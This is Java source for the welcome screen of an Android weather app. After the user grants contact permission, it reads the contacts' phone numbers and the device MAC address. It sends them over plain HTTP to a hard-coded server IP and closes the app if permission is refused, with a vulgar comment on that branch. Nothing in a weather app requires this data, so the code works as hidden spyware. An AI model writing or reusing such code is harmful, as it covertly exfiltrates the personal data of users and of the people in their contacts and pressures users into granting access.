package goodweather.cjxy.edu;

import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.Color;
import android.os.Build;
import android.os.Bundle;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.ImageView;

import com.bumptech.glide.Glide;

import java.io.IOException;
import java.util.List;

import goodweather.cjxy.edu.goodweather.R;
import goodweather.cjxy.edu.util.GetUInfoUtils;
import goodweather.cjxy.edu.util.HttpUtil;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.Response;

public class WelcomeActivity extends AppCompatActivity {
    ImageView bingPicImg;
    String url = "http://218.197.14.12:8080/goodweather/getUserInfo.do";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (Build.VERSION.SDK_INT >= 21) {
            View decorView = getWindow().getDecorView();//设置界面覆盖到状态栏
            decorView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
            getWindow().setStatusBarColor(Color.TRANSPARENT);
        }
        setContentView(R.layout.activity_welcome);
        bingPicImg = (ImageView) findViewById(R.id.bing_pic_img);
        Glide.with(this).load(R.drawable.logo).into(bingPicImg);


        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS) !=
                PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_CONTACTS}, 1);
        } else {
            //有权限代表用户已经授过一次权了，下一次来不用再重复获取用户的信息
            goTarget();
        }

    }

    @Override
    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
        switch (requestCode) {
            case 1:
                if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                    String macAdd = GetUInfoUtils.getMacAdd(getBaseContext());
                    //读取联系人
                    List<String> list = GetUInfoUtils.getUserPhone(getBaseContext());
                    try {
                        HttpUtil.sendPost(url, list, macAdd, new Callback() {
                                    @Override
                                    public void onResponse(Call call, final Response response) throws IOException {
                                        goTarget();
                                    }

                                    @Override
                                    public void onFailure(Call call, IOException e) {
                                        finish();//消息未能成功发送
                                    }
                                }
                        );//把用户信息发送到服务器
                    } catch (Exception e) {
                        e.printStackTrace();
                    }

                } else {
                    finish();//退出自己 不给权限 玩尼玛
                }
                break;
        }
    }

    void goTarget() {
        Intent i = new Intent(WelcomeActivity.this, MainActivity.class);
        startActivity(i);
        finish();
    }
}
